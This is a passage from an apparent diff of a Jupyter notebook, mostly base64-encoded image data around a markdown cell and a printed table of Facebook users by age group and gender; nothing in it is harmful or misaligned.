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" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Facebook users by age and gender\n", + "![image.png](attachment:image.png)" + ] + }, + { + "cell_type": "code", + "execution_count": 112, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Age Female Male All\n", + "0 13-17 2.63 35.9 NaN\n", + "1 18-24 9.60 14.2 23.8\n", + "2 25-34 12.80 18.8 31.6\n", + "3 35-44 7.30 9.6 16.9\n", + "4 45-54 5.00 5.5 10.5\n", + "5 55-64 3.30 3.1 6.4\n", + "6 65+ 2.60 2.3 4.9\n", + "7 All ages 43.20 56.8 0.0\n" + ] + }, + { + "data": { + "image/png": "iVBORw0KGgoAAAANSUhEUgAABMMAAAJcCAYAAAD0CWOXAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjMuMiwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy8vihELAAAACXBIWXMAAAsTAAALEwEAmpwYAAA2yElEQVR4nO3de7zldV0v/tcbBhzvXPWgmKAhIoqY45WOokSikuKtA6lR2kG7mHU0ryFialaeMm8VJcpJRQ1DCfuZRKJp3maUFBuNjqFMoggCiooCvn9/rO/MWQxz2RtmrT2zv8/n47Ees77393ftz6y992t/Pp9V3R0AAAAAGIOdlroAAAAAAJgXYRgAAAAAoyEMAwAAAGA0hGEAAAAAjIYwDAAAAIDREIYBAAAAMBrCMABgu1BVF1XVz8zgvOdV1a9s6/POQ1UdXlXrlrqOpTSrdnET6thh2xEAcEPCMABgs4Yg4gdVdfXU405LXRcAANxUwjAAYGt+rrtvM/X4+lIXtCOrqhVLXQPz4+sNANsfYRgAsChVtXtVnV1V36qqK4bn+05t36Oq3lpVXx+2v29q29FVdX5VXVlV/1JVh2x0+gdU1b8Nx721qlZOHfs/q+o/qurbVXXWdA+1qnpoVX2mqq4a/n3oZmrfp6o+X1XP38z2rqqfnFp+W1W9cni+13CvVw41/HNV7TRsu1N